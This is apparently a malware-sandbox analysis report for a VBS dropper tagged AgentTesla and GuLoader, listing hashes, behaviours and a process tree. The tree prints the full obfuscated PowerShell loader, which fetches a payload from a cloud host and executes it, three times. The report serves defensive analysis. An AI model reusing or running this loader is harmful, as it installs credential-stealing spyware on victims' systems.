Overview

overview

10

Static

static

1

2E89819F3E...B5.vbs

windows7-x64

10

2E89819F3E...B5.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2024 18:43

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2E89819F3E67AAC66D71BC5B11407E3D4DBAA4ADAB3AC6CA7FF4F4BD69C1ABB5.vbs

  • Size

    43KB

  • MD5

    4ae2066ad08f4986be08cc497f6d9ecd

  • SHA1

    063ea24650d1804c8f93dc2373f3b0134d67fe04

  • SHA256

    2e89819f3e67aac66d71bc5b11407e3d4dbaa4adab3ac6ca7ff4f4bd69c1abb5

  • SHA512

    7383416bd386f26a2e72996467ce474f8f56494b972d5bf5b26fca319607ff6f538fbfa25bdfeca64fb43d2c3d304320e156ff25250c61a2251123569d1971c1

  • SSDEEP

    768:B/vfiNH+Cz316uuJRw4YcDeQVF+g0Ego8QnfxARXeqf17DsGzA5:Jvs4ut4yQOJxTcfguSnsGzA5

Score
10/10
agentteslaguloadercredential_accessdiscoverydownloaderkeyloggerspywarestealertrojan

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

    downloaderguloader
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2E89819F3E67AAC66D71BC5B11407E3D4DBAA4ADAB3AC6CA7FF4F4BD69C1ABB5.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Untwister farvere Lemmys Boplenes #>;$Multipolarity='Detronisering';<#Kderygers Amphibryous Heptane #>;$tapul=$host.PrivateData;If ($tapul) {$Dowily++;}function psychosocial($Stauraxonial){$Srnummer=$Stauraxonial.Length-$Dowily;for( $Aflbskanalernes243=4;$Aflbskanalernes243 -lt $Srnummer;$Aflbskanalernes243+=5){$Syrefastes+=$Stauraxonial[$Aflbskanalernes243];}$Syrefastes;}function Festskriftet($Aktivt){ & ($Cystoadenoma) ($Aktivt);}$Kreditproblemer=psychosocial 'Pla MFlatoIntezBoliiAdkolResulRu.saSkde/ ffe5 Ove.H.la0Clea rdi( DigWTopoi KlinOverd Afvo Stvw ReksQu,r Fl lNprocTAzob Fors1Disa0Pr f.Solb0Fire;Kval WidtW stli Srgn Re 6Pica4Hitl;Stem Syn xHesi6 Ca 4.ews; Pr ListrForsvChec: or1g na2Ki.i1Indl. nti0 reg)Anko NudGE.ceeIn kcSt ckToosoBumb/mart2 s k0afri1 B s0Mess0Da p1Disr0 For1Haa. GuddFjackiHjlprGylleFahlfDethoPas.xNe.s/All.1Infa2bron1 .om.Plap0Grac ';$Norit=psychosocial ' W dUHodfS Hi.EEq iRSt,l-EnouA CogGTroseafdmnValutEf,e ';$premediaevalism=psychosocial 'DatahReextTh rt Ranp ostsSkin:Telt/Prae/puz dTegnr GlyiFrakvLengeDisk.JunegProgo SkroechogBegyl BaaeMums.Hmmec Reho BrumMe a/Kar uPr gcL.nd?unh e Di xLysspNycto DerrHaugtloka= Remd roco afwVarmn osylEpi oFl vaU obdF ac&Vg.ei U bdQ il=Psyk1Selv_Slume gerSCourIitcheTa.gs OveuD ta2Gor.DUn uuApp F mressvov1spanpV.geNFlydBStji4 R,aT istMvievarodsPr.llx Va IFrugx u,iSDevoFUnsemBerbn ileD AthT Djvj vlgSForh ';$Torporizes=psychosocial 'hjlp>A te ';$Cystoadenoma=psychosocial 'SpriIR emeBrudX ,lo ';$Aquafer='Epikerens';$Trovrdighedsklft = psychosocial 'Acade OpicGam.hMilloBrkk Bag,% sceaLasepUnimpUnded ella oldtNecraAkt %Vanv\TilgFDourmsautcDu,l.azerSTilbp ison For Joc &Worm&Stra comme trcDa,bh ChaoQuil Und t H.r ';Festskriftet (psychosocial ' alg$pulvgTie.lFlueoSko,b Oeja BlilTert:MilrMcollu BogiFairrMillcBulko Tvic ,ulkBall= Co (Acc cSansmDommdFosf Lsev/Voyac Di Ddke$FodgT diarKageoKampvL carUnspdAstriManigUnpahLitteRepadM,olsImmok pr l FrkfAntit Ste) yst ');Festskriftet (psychosocial ' Mal$C,rvgInellSkysoWenzb.eina MinlD.la:ProtRUniteUfrdlDaziaAfl,t KaliGeo oOxamn pensSi udsoveaA ictmoidaAperb Lnra Spas Quee Pe r IonsTel.6S gn7Tor,=.syc$ labpDdsarStn eS jfmBarreMaasd,xtri Lyda O eeIde v PalaVelalGen iMed sGigamKomm.RestsKa hpUnprlCrediC fftUnam(Adel$P isTc,emoUnstr O hpGiftoleonr.undiKaa zSycoeSle sHo.e)Isog ');Festskriftet (psychosocial 'Sale[TurnN rmie AnptHalv.SamvSA alePla rTudev SpriDksmcSamme AnaP heroIntei bilnCamptSpecMLitha,iplnNonsaNonagJap e ImprEnta]bleg:Offi:SphaSBoateTe ecOff u StorGorriOps tAttryIsanPReifrPrepoSolbtS luoArbecDespoWatel Oc Nib,=Phal Kv.d[Re oNPyreeUdstt Not.LiteS H.teGa ecLuftuKaprrbldeiUnl,tForsyBiblP SknrAutooBrintLnnio Opscnanio kkelErotTPo iy My p,elgeTyp ] Hy :For :L ceT FlllWhissMet.1 La 2S or ');$premediaevalism=$Relationsdatabasers67[0];$Confidency= (psychosocial 'P,zz$ConaGAvisLSpe.OPrakb ostA ,kylRui :Indiv NazI Ud.B,besrUnsaiBeneo Poss MisIBe rsRe.i=Persn Gule .enw it-AkryOHea B assjRat EA exc LitTelok Sa.SEnseySukkSGl atF reeLnnim Reg. OmbN roEGiftTBode. yrw Udle,jenB De,C OveLOidwi HopESpisnBuchT');$Confidency+=$Muircock[1];Festskriftet ($Confidency);Festskriftet (psychosocial 'P.lt$ LanVTvaniSknsb ForrLapiistyro,olksReifiGransTund.NoruHopkleFor aoverdRatie Lrer ertsFras[Dena$T,leNErugo Besr BttiVam,t Alg] Eth= Tri$Kal.K nder noresjl.dSkoviLavet.itap tar TaioSultbTo,al .ree enom OveeHvirrfort ');$Alfaquins=psychosocial 'unpr$ FinVencri bubTenerF neiPr counevs Phai.ntasAlal.OvenDN,tao Tilw,olln kkelGiggoDuasa PyodForkF.etti.vell TrieSamm(Vanh$DivipCoitrSub eDamnmD.bbeQ,ecdL ngiBlyracompeTranv Ra aReprlSpeciSelvsObsemAffo,Ret,$ UdfP poeBrn rJgeruChrynSte,)o.tc ';$Perun=$Muircock[0];Festskriftet (psychosocial 'Sugh$Fieng no L PalOUn ubOverAArctLUnco: UltkEndoAL sct ve.hA cha Et =Coel( TaqT D.feGeocSPnhetolis-I.dhPInteADraftD kkh O d Vand$ NitP S.ieFaglr CluuRisuNUan )Inte ');while (!$Katha) {Festskriftet (psychosocial 'V.lg$Woo gMidelHaymoOtilbAr ya Endl Met:elekU.orrnKnikd UnieRetarMikrbvaskiOrgad attd RkkeHalet igtsO.er=Comm$Antit CylrMa luBelieSo s ') ;Festskriftet $Alfaquins;Festskriftet (psychosocial 'RabbS irktfuehaSa gr MartSkif-BrizS KonlMashestaneNarkpAfri Car4Sal ');Festskriftet (psychosocial 'Reko$KompgGlamlTa.lo U gbPa.laKylol Es :Tal.KIndlaJordt Dynh ndaunai= P,o(EfteTUnpre llsQua.tArts-U,gaPa,laa nidtSwaghbull Tel$R,ghP SwaeDr,frPrisuStegnTyng)Cons ') ;Festskriftet (psychosocial 'Fast$S,ragTromlUnowoUdlabRab a anlDiva:IndkK FaliRecurGsteaVand=Demi$Sp,rgFarel.unaoT chbLag a SkulRobb:Varms Chia P sm a rmJomfeHoronNabosKuldvBestrpr.cgAde,eAf,blNectsTaabemandnHagg+Urme+Sprn%Fnge$Raf,RLeioeForllSimuaStart pufiBlu oYdernTh,msTurrdNewsa rgntShaiaVo ibRevia PolsUndeeKultrE,rosOv r6Vice7Bank.UndecMartoko cu.nmon ToptNonf ') ;$premediaevalism=$Relationsdatabasers67[$Kira];}$Outcatches=288483;$Anoplotheriidae=28137;Festskriftet (psychosocial 'Par.$ Oveg ,iblDie,oLavrbInteaStrml Ma,:rtefSParttApp u.uzzdBliniFor eKnsfkSub.aH,rdmThaim CeseAdulrGenaaja btfjedeNonmn BlisAns Brnd=Stue TabuGConseWimbtDete-UnadCTilgo entn Kast,uffePanen MartHelm miss$EmbrPMarae nterSlutuE chncen ');Festskriftet (psychosocial 'Bffe$ .adgSkrulUn ioLo sb abua ,iblTade:VandHAdmij agaaMashe arl blapSomneStrufAkseuStorndbefkPi utTe rihe aoTramnRidd2Uanm4Foot Ter=Coha Huc.[PainSo egyspiosUdh t VaremetrmNon..Lre CBricoMinynPulvv.ande De r Kl tApos] Lev:Brne:aut FUnspr ProoRaglmCha,BUnriaEm esharleVil,6Jose4 yggSForst MetrHazaiorkanFinkgKarr(Arch$rrgjS FortNettu ridAngeiTol,eLyntkSk ia D cmPokemR.tteF brrTig,a imotFly ePushnFormsUniv)Pris ');Festskriftet (psychosocial 'Ba,l$ arhgDi alUnproResebFr,daAlthl eva: IndCAbschFlleaB.anrTvinsAppeiovern eprg elvhPj na Com Huje= pr Honn[CharSJag yobj sDeiftproge S,gmb,st.S rbTInsieAstrxOve t,ubl.ChasEWe.lnFiskc Sc,oMayfdCresiFysin GtegNont] ya:Pa e: My.AS peSLaveC ManITyveI Af .UameGKulteSyn,tBue S riet St.rNucli EkvnDampg.awn(Skru$TakiHLockjLyr.aVerneSamllGe.npDisseBrazfhes ucolan.ondk AlttstoriP.sto Ko.nSvar2devi4 K,k)Bnkb ');Festskriftet (psychosocial 'Soue$ SpigBlowl Niso DygbUdkiaTissl.olk: KorPsodaa ReciRigtdOrgaeRefuuStadtStatiSladc FeasMidr=Spri$Was C I lhBehaaGunlrLokas K niFilen,besgSkrmhEkstaschi. Reks renuGeofbAnomsLacotTag.rMisbiafl n ChegSild(Indb$JollOTranuDetrtNo scS saaSmert NoncblothNonfeHoves Bre,Arti$forbAF rsn IngoIn.opRolllSystoReget arthBitueShifrNy.pi.oyciCowld SemaBr ceAl m)Vejr ');Festskriftet $Paideutics;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fmc.Spn && echo t"
        3⤵
          PID:2744
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Untwister farvere Lemmys Boplenes #>;$Multipolarity='Detronisering';<#Kderygers Amphibryous Heptane #>;$tapul=$host.PrivateData;If ($tapul) {$Dowily++;}function psychosocial($Stauraxonial){$Srnummer=$Stauraxonial.Length-$Dowily;for( $Aflbskanalernes243=4;$Aflbskanalernes243 -lt $Srnummer;$Aflbskanalernes243+=5){$Syrefastes+=$Stauraxonial[$Aflbskanalernes243];}$Syrefastes;}function Festskriftet($Aktivt){ & ($Cystoadenoma) ($Aktivt);}$Kreditproblemer=psychosocial 'Pla MFlatoIntezBoliiAdkolResulRu.saSkde/ ffe5 Ove.H.la0Clea rdi( DigWTopoi KlinOverd Afvo Stvw ReksQu,r Fl lNprocTAzob Fors1Disa0Pr f.Solb0Fire;Kval WidtW stli Srgn Re 6Pica4Hitl;Stem Syn xHesi6 Ca 4.ews; Pr ListrForsvChec: or1g na2Ki.i1Indl. nti0 reg)Anko NudGE.ceeIn kcSt ckToosoBumb/mart2 s k0afri1 B s0Mess0Da p1Disr0 For1Haa. GuddFjackiHjlprGylleFahlfDethoPas.xNe.s/All.1Infa2bron1 .om.Plap0Grac ';$Norit=psychosocial ' W dUHodfS Hi.EEq iRSt,l-EnouA CogGTroseafdmnValutEf,e ';$premediaevalism=psychosocial 'DatahReextTh rt Ranp ostsSkin:Telt/Prae/puz dTegnr GlyiFrakvLengeDisk.JunegProgo SkroechogBegyl BaaeMums.Hmmec Reho BrumMe a/Kar uPr gcL.nd?unh e Di xLysspNycto DerrHaugtloka= Remd roco afwVarmn osylEpi oFl vaU obdF ac&Vg.ei U bdQ il=Psyk1Selv_Slume gerSCourIitcheTa.gs OveuD ta2Gor.DUn uuApp F mressvov1spanpV.geNFlydBStji4 R,aT istMvievarodsPr.llx Va IFrugx u,iSDevoFUnsemBerbn ileD AthT Djvj vlgSForh ';$Torporizes=psychosocial 'hjlp>A te ';$Cystoadenoma=psychosocial 'SpriIR emeBrudX ,lo ';$Aquafer='Epikerens';$Trovrdighedsklft = psychosocial 'Acade OpicGam.hMilloBrkk Bag,% sceaLasepUnimpUnded ella oldtNecraAkt %Vanv\TilgFDourmsautcDu,l.azerSTilbp ison For Joc &Worm&Stra comme trcDa,bh ChaoQuil Und t H.r ';Festskriftet (psychosocial ' alg$pulvgTie.lFlueoSko,b Oeja BlilTert:MilrMcollu BogiFairrMillcBulko Tvic ,ulkBall= Co (Acc cSansmDommdFosf Lsev/Voyac Di Ddke$FodgT diarKageoKampvL carUnspdAstriManigUnpahLitteRepadM,olsImmok pr l FrkfAntit Ste) yst ');Festskriftet (psychosocial ' Mal$C,rvgInellSkysoWenzb.eina MinlD.la:ProtRUniteUfrdlDaziaAfl,t KaliGeo oOxamn pensSi udsoveaA ictmoidaAperb Lnra Spas Quee Pe r IonsTel.6S gn7Tor,=.syc$ labpDdsarStn eS jfmBarreMaasd,xtri Lyda O eeIde v PalaVelalGen iMed sGigamKomm.RestsKa hpUnprlCrediC fftUnam(Adel$P isTc,emoUnstr O hpGiftoleonr.undiKaa zSycoeSle sHo.e)Isog ');Festskriftet (psychosocial 'Sale[TurnN rmie AnptHalv.SamvSA alePla rTudev SpriDksmcSamme AnaP heroIntei bilnCamptSpecMLitha,iplnNonsaNonagJap e ImprEnta]bleg:Offi:SphaSBoateTe ecOff u StorGorriOps tAttryIsanPReifrPrepoSolbtS luoArbecDespoWatel Oc Nib,=Phal Kv.d[Re oNPyreeUdstt Not.LiteS H.teGa ecLuftuKaprrbldeiUnl,tForsyBiblP SknrAutooBrintLnnio Opscnanio kkelErotTPo iy My p,elgeTyp ] Hy :For :L ceT FlllWhissMet.1 La 2S or ');$premediaevalism=$Relationsdatabasers67[0];$Confidency= (psychosocial 'P,zz$ConaGAvisLSpe.OPrakb ostA ,kylRui :Indiv NazI Ud.B,besrUnsaiBeneo Poss MisIBe rsRe.i=Persn Gule .enw it-AkryOHea B assjRat EA exc LitTelok Sa.SEnseySukkSGl atF reeLnnim Reg. OmbN roEGiftTBode. yrw Udle,jenB De,C OveLOidwi HopESpisnBuchT');$Confidency+=$Muircock[1];Festskriftet ($Confidency);Festskriftet (psychosocial 'P.lt$ LanVTvaniSknsb ForrLapiistyro,olksReifiGransTund.NoruHopkleFor aoverdRatie Lrer ertsFras[Dena$T,leNErugo Besr BttiVam,t Alg] Eth= Tri$Kal.K nder noresjl.dSkoviLavet.itap tar TaioSultbTo,al .ree enom OveeHvirrfort ');$Alfaquins=psychosocial 'unpr$ FinVencri bubTenerF neiPr counevs Phai.ntasAlal.OvenDN,tao Tilw,olln kkelGiggoDuasa PyodForkF.etti.vell TrieSamm(Vanh$DivipCoitrSub eDamnmD.bbeQ,ecdL ngiBlyracompeTranv Ra aReprlSpeciSelvsObsemAffo,Ret,$ UdfP poeBrn rJgeruChrynSte,)o.tc ';$Perun=$Muircock[0];Festskriftet (psychosocial 'Sugh$Fieng no L PalOUn ubOverAArctLUnco: UltkEndoAL sct ve.hA cha Et =Coel( TaqT D.feGeocSPnhetolis-I.dhPInteADraftD kkh O d Vand$ NitP S.ieFaglr CluuRisuNUan )Inte ');while (!$Katha) {Festskriftet (psychosocial 'V.lg$Woo gMidelHaymoOtilbAr ya Endl Met:elekU.orrnKnikd UnieRetarMikrbvaskiOrgad attd RkkeHalet igtsO.er=Comm$Antit CylrMa luBelieSo s ') ;Festskriftet $Alfaquins;Festskriftet (psychosocial 'RabbS irktfuehaSa gr MartSkif-BrizS KonlMashestaneNarkpAfri Car4Sal ');Festskriftet (psychosocial 'Reko$KompgGlamlTa.lo U gbPa.laKylol Es :Tal.KIndlaJordt Dynh ndaunai= P,o(EfteTUnpre llsQua.tArts-U,gaPa,laa nidtSwaghbull Tel$R,ghP SwaeDr,frPrisuStegnTyng)Cons ') ;Festskriftet (psychosocial 'Fast$S,ragTromlUnowoUdlabRab a anlDiva:IndkK FaliRecurGsteaVand=Demi$Sp,rgFarel.unaoT chbLag a SkulRobb:Varms Chia P sm a rmJomfeHoronNabosKuldvBestrpr.cgAde,eAf,blNectsTaabemandnHagg+Urme+Sprn%Fnge$Raf,RLeioeForllSimuaStart pufiBlu oYdernTh,msTurrdNewsa rgntShaiaVo ibRevia PolsUndeeKultrE,rosOv r6Vice7Bank.UndecMartoko cu.nmon ToptNonf ') ;$premediaevalism=$Relationsdatabasers67[$Kira];}$Outcatches=288483;$Anoplotheriidae=28137;Festskriftet (psychosocial 'Par.$ Oveg ,iblDie,oLavrbInteaStrml Ma,:rtefSParttApp u.uzzdBliniFor eKnsfkSub.aH,rdmThaim CeseAdulrGenaaja btfjedeNonmn BlisAns Brnd=Stue TabuGConseWimbtDete-UnadCTilgo entn Kast,uffePanen MartHelm miss$EmbrPMarae nterSlutuE chncen ');Festskriftet (psychosocial 'Bffe$ .adgSkrulUn ioLo sb abua ,iblTade:VandHAdmij agaaMashe arl blapSomneStrufAkseuStorndbefkPi utTe rihe aoTramnRidd2Uanm4Foot Ter=Coha Huc.[PainSo egyspiosUdh t VaremetrmNon..Lre CBricoMinynPulvv.ande De r Kl tApos] Lev:Brne:aut FUnspr ProoRaglmCha,BUnriaEm esharleVil,6Jose4 yggSForst MetrHazaiorkanFinkgKarr(Arch$rrgjS FortNettu ridAngeiTol,eLyntkSk ia D cmPokemR.tteF brrTig,a imotFly ePushnFormsUniv)Pris ');Festskriftet (psychosocial 'Ba,l$ arhgDi alUnproResebFr,daAlthl eva: IndCAbschFlleaB.anrTvinsAppeiovern eprg elvhPj na Com Huje= pr Honn[CharSJag yobj sDeiftproge S,gmb,st.S rbTInsieAstrxOve t,ubl.ChasEWe.lnFiskc Sc,oMayfdCresiFysin GtegNont] ya:Pa e: My.AS peSLaveC ManITyveI Af .UameGKulteSyn,tBue S riet St.rNucli EkvnDampg.awn(Skru$TakiHLockjLyr.aVerneSamllGe.npDisseBrazfhes ucolan.ondk AlttstoriP.sto Ko.nSvar2devi4 K,k)Bnkb ');Festskriftet (psychosocial 'Soue$ SpigBlowl Niso DygbUdkiaTissl.olk: KorPsodaa ReciRigtdOrgaeRefuuStadtStatiSladc FeasMidr=Spri$Was C I lhBehaaGunlrLokas K niFilen,besgSkrmhEkstaschi. Reks renuGeofbAnomsLacotTag.rMisbiafl n ChegSild(Indb$JollOTranuDetrtNo scS saaSmert NoncblothNonfeHoves Bre,Arti$forbAF rsn IngoIn.opRolllSystoReget arthBitueShifrNy.pi.oyciCowld SemaBr ceAl m)Vejr ');Festskriftet $Paideutics;"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3256
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Untwister farvere Lemmys Boplenes #>;$Multipolarity='Detronisering';<#Kderygers Amphibryous Heptane #>;$tapul=$host.PrivateData;If ($tapul) {$Dowily++;}function psychosocial($Stauraxonial){$Srnummer=$Stauraxonial.Length-$Dowily;for( $Aflbskanalernes243=4;$Aflbskanalernes243 -lt $Srnummer;$Aflbskanalernes243+=5){$Syrefastes+=$Stauraxonial[$Aflbskanalernes243];}$Syrefastes;}function Festskriftet($Aktivt){ & ($Cystoadenoma) ($Aktivt);}$Kreditproblemer=psychosocial 'Pla MFlatoIntezBoliiAdkolResulRu.saSkde/ ffe5 Ove.H.la0Clea rdi( DigWTopoi KlinOverd Afvo Stvw ReksQu,r Fl lNprocTAzob Fors1Disa0Pr f.Solb0Fire;Kval WidtW stli Srgn Re 6Pica4Hitl;Stem Syn xHesi6 Ca 4.ews; Pr ListrForsvChec: or1g na2Ki.i1Indl. nti0 reg)Anko NudGE.ceeIn kcSt ckToosoBumb/mart2 s k0afri1 B s0Mess0Da p1Disr0 For1Haa. GuddFjackiHjlprGylleFahlfDethoPas.xNe.s/All.1Infa2bron1 .om.Plap0Grac ';$Norit=psychosocial ' W dUHodfS Hi.EEq iRSt,l-EnouA CogGTroseafdmnValutEf,e ';$premediaevalism=psychosocial 'DatahReextTh rt Ranp ostsSkin:Telt/Prae/puz dTegnr GlyiFrakvLengeDisk.JunegProgo SkroechogBegyl BaaeMums.Hmmec Reho BrumMe a/Kar uPr gcL.nd?unh e Di xLysspNycto DerrHaugtloka= Remd roco afwVarmn osylEpi oFl vaU obdF ac&Vg.ei U bdQ il=Psyk1Selv_Slume gerSCourIitcheTa.gs OveuD ta2Gor.DUn uuApp F mressvov1spanpV.geNFlydBStji4 R,aT istMvievarodsPr.llx Va IFrugx u,iSDevoFUnsemBerbn ileD AthT Djvj vlgSForh ';$Torporizes=psychosocial 'hjlp>A te ';$Cystoadenoma=psychosocial 'SpriIR emeBrudX ,lo ';$Aquafer='Epikerens';$Trovrdighedsklft = psychosocial 'Acade OpicGam.hMilloBrkk Bag,% sceaLasepUnimpUnded ella oldtNecraAkt %Vanv\TilgFDourmsautcDu,l.azerSTilbp ison For Joc &Worm&Stra comme trcDa,bh ChaoQuil Und t H.r ';Festskriftet (psychosocial ' alg$pulvgTie.lFlueoSko,b Oeja BlilTert:MilrMcollu BogiFairrMillcBulko Tvic ,ulkBall= Co (Acc cSansmDommdFosf Lsev/Voyac Di Ddke$FodgT diarKageoKampvL carUnspdAstriManigUnpahLitteRepadM,olsImmok pr l FrkfAntit Ste) yst ');Festskriftet (psychosocial ' Mal$C,rvgInellSkysoWenzb.eina MinlD.la:ProtRUniteUfrdlDaziaAfl,t KaliGeo oOxamn pensSi udsoveaA ictmoidaAperb Lnra Spas Quee Pe r IonsTel.6S gn7Tor,=.syc$ labpDdsarStn eS jfmBarreMaasd,xtri Lyda O eeIde v PalaVelalGen iMed sGigamKomm.RestsKa hpUnprlCrediC fftUnam(Adel$P isTc,emoUnstr O hpGiftoleonr.undiKaa zSycoeSle sHo.e)Isog ');Festskriftet (psychosocial 'Sale[TurnN rmie AnptHalv.SamvSA alePla rTudev SpriDksmcSamme AnaP heroIntei bilnCamptSpecMLitha,iplnNonsaNonagJap e ImprEnta]bleg:Offi:SphaSBoateTe ecOff u StorGorriOps tAttryIsanPReifrPrepoSolbtS luoArbecDespoWatel Oc Nib,=Phal Kv.d[Re oNPyreeUdstt Not.LiteS H.teGa ecLuftuKaprrbldeiUnl,tForsyBiblP SknrAutooBrintLnnio Opscnanio kkelErotTPo iy My p,elgeTyp ] Hy :For :L ceT FlllWhissMet.1 La 2S or ');$premediaevalism=$Relationsdatabasers67[0];$Confidency= (psychosocial 'P,zz$ConaGAvisLSpe.OPrakb ostA ,kylRui :Indiv NazI Ud.B,besrUnsaiBeneo Poss MisIBe rsRe.i=Persn Gule .enw it-AkryOHea B assjRat EA exc LitTelok Sa.SEnseySukkSGl atF reeLnnim Reg. OmbN roEGiftTBode. yrw Udle,jenB De,C OveLOidwi HopESpisnBuchT');$Confidency+=$Muircock[1];Festskriftet ($Confidency);Festskriftet (psychosocial 'P.lt$ LanVTvaniSknsb ForrLapiistyro,olksReifiGransTund.NoruHopkleFor aoverdRatie Lrer ertsFras[Dena$T,leNErugo Besr BttiVam,t Alg] Eth= Tri$Kal.K nder noresjl.dSkoviLavet.itap tar TaioSultbTo,al .ree enom OveeHvirrfort ');$Alfaquins=psychosocial 'unpr$ FinVencri bubTenerF neiPr counevs Phai.ntasAlal.OvenDN,tao Tilw,olln kkelGiggoDuasa PyodForkF.etti.vell TrieSamm(Vanh$DivipCoitrSub eDamnmD.bbeQ,ecdL ngiBlyracompeTranv Ra aReprlSpeciSelvsObsemAffo,Ret,$ UdfP poeBrn rJgeruChrynSte,)o.tc ';$Perun=$Muircock[0];Festskriftet (psychosocial 'Sugh$Fieng no L PalOUn ubOverAArctLUnco: UltkEndoAL sct ve.hA cha Et =Coel( TaqT D.feGeocSPnhetolis-I.dhPInteADraftD kkh O d Vand$ NitP S.ieFaglr CluuRisuNUan )Inte ');while (!$Katha) {Festskriftet (psychosocial 'V.lg$Woo gMidelHaymoOtilbAr ya Endl Met:elekU.orrnKnikd UnieRetarMikrbvaskiOrgad attd RkkeHalet igtsO.er=Comm$Antit CylrMa luBelieSo s ') ;Festskriftet $Alfaquins;Festskriftet (psychosocial 'RabbS irktfuehaSa gr MartSkif-BrizS KonlMashestaneNarkpAfri Car4Sal ');Festskriftet (psychosocial 'Reko$KompgGlamlTa.lo U gbPa.laKylol Es :Tal.KIndlaJordt Dynh ndaunai= P,o(EfteTUnpre llsQua.tArts-U,gaPa,laa nidtSwaghbull Tel$R,ghP SwaeDr,frPrisuStegnTyng)Cons ') ;Festskriftet (psychosocial 'Fast$S,ragTromlUnowoUdlabRab a anlDiva:IndkK FaliRecurGsteaVand=Demi$Sp,rgFarel.unaoT chbLag a SkulRobb:Varms Chia P sm a rmJomfeHoronNabosKuldvBestrpr.cgAde,eAf,blNectsTaabemandnHagg+Urme+Sprn%Fnge$Raf,RLeioeForllSimuaStart pufiBlu oYdernTh,msTurrdNewsa rgntShaiaVo ibRevia PolsUndeeKultrE,rosOv r6Vice7Bank.UndecMartoko cu.nmon ToptNonf ') ;$premediaevalism=$Relationsdatabasers67[$Kira];}$Outcatches=288483;$Anoplotheriidae=28137;Festskriftet (psychosocial 'Par.$ Oveg ,iblDie,oLavrbInteaStrml Ma,:rtefSParttApp u.uzzdBliniFor eKnsfkSub.aH,rdmThaim CeseAdulrGenaaja btfjedeNonmn BlisAns Brnd=Stue TabuGConseWimbtDete-UnadCTilgo entn Kast,uffePanen MartHelm miss$EmbrPMarae nterSlutuE chncen ');Festskriftet (psychosocial 'Bffe$ .adgSkrulUn ioLo sb abua ,iblTade:VandHAdmij agaaMashe arl blapSomneStrufAkseuStorndbefkPi utTe rihe aoTramnRidd2Uanm4Foot Ter=Coha Huc.[PainSo egyspiosUdh t VaremetrmNon..Lre CBricoMinynPulvv.ande De r Kl tApos] Lev:Brne:aut FUnspr ProoRaglmCha,BUnriaEm esharleVil,6Jose4 yggSForst MetrHazaiorkanFinkgKarr(Arch$rrgjS FortNettu ridAngeiTol,eLyntkSk ia D cmPokemR.tteF brrTig,a imotFly ePushnFormsUniv)Pris ');Festskriftet (psychosocial 'Ba,l$ arhgDi alUnproResebFr,daAlthl eva: IndCAbschFlleaB.anrTvinsAppeiovern eprg elvhPj na Com Huje= pr Honn[CharSJag yobj sDeiftproge S,gmb,st.S rbTInsieAstrxOve t,ubl.ChasEWe.lnFiskc Sc,oMayfdCresiFysin GtegNont] ya:Pa e: My.AS peSLaveC ManITyveI Af .UameGKulteSyn,tBue S riet St.rNucli EkvnDampg.awn(Skru$TakiHLockjLyr.aVerneSamllGe.npDisseBrazfhes ucolan.ondk AlttstoriP.sto Ko.nSvar2devi4 K,k)Bnkb ');Festskriftet (psychosocial 'Soue$ SpigBlowl Niso DygbUdkiaTissl.olk: KorPsodaa ReciRigtdOrgaeRefuuStadtStatiSladc FeasMidr=Spri$Was C I lhBehaaGunlrLokas K niFilen,besgSkrmhEkstaschi. Reks renuGeofbAnomsLacotTag.rMisbiafl n ChegSild(Indb$JollOTranuDetrtNo scS saaSmert NoncblothNonfeHoves Bre,Arti$forbAF rsn IngoIn.opRolllSystoReget arthBitueShifrNy.pi.oyciCowld SemaBr ceAl m)Vejr ');Festskriftet $Paideutics;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:428
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fmc.Spn && echo t"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3936
